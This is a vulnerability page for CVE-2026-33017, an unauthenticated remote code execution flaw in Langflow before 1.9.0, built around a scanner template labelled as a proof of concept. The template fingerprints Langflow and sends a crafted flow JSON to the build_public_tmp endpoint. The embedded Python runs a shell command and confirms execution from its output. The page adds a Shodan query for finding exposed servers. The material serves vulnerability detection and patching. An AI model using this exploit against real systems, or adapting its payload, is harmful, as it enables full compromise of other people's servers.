CVE-2026-33017: Langflow < 1.9.0 - Remote Code Execution

2026-05-09 Langflow PoC Public

Description

Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.

PoC

id: CVE-2026-33017

info:
  name: Langflow < 1.9.0 - Remote Code Execution
  author: himind
  severity: critical
  description: |
    Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.
  impact: |
    Remote attackers can execute arbitrary Python code without authentication, leading to full system compromise.
  remediation: |
    Update to version 1.9.0 or later.
  reference:
    - https://thehackernews.com/2026/03/critical-langflow-flaw-cve-2026-33017.html
    - https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33017
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33017
    epss-score: 0.96177
    epss-percentile: 0.99875
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: langflow
    product: langflow
    shodan-query: http.favicon.hash:1727196746
  tags: cve,cve2026,langflow,rce,ai,passive,kev,vkev

variables:
  uuid: "{{uuid}}"

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "langflow"
        case-insensitive: true

  - method: POST
    path:
      - "{{BaseURL}}/api/v1/build_public_tmp/{{uuid}}/flow"

    body: |
      {
        "data": {
          "nodes": [
            {
              "data": {
                "node": {
                  "template": {
                    "code": {
                      "value": "def function():\n    import os\n    return os.popen('id').read()"
                    }
                  }
                }
              }
            }
          ]
        }
      }
    headers:
      Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/json")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'contains(body, "xmsg\":")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/version"

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '< 1.9.0')"
          - "status_code == 200"
        condition: and

    extractors:
      - type: json
        name: version
        json:
          - ".version"
        internal: true
# digest: 4b0a00483046022100c6517a6a8c604a0bf27c251e9a6f4b6262be474d6b22427ca6b5a895fba9d5690221008db4640aa069288ec51ee47f09c076983f034961e1d961d923cee3f385989615:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities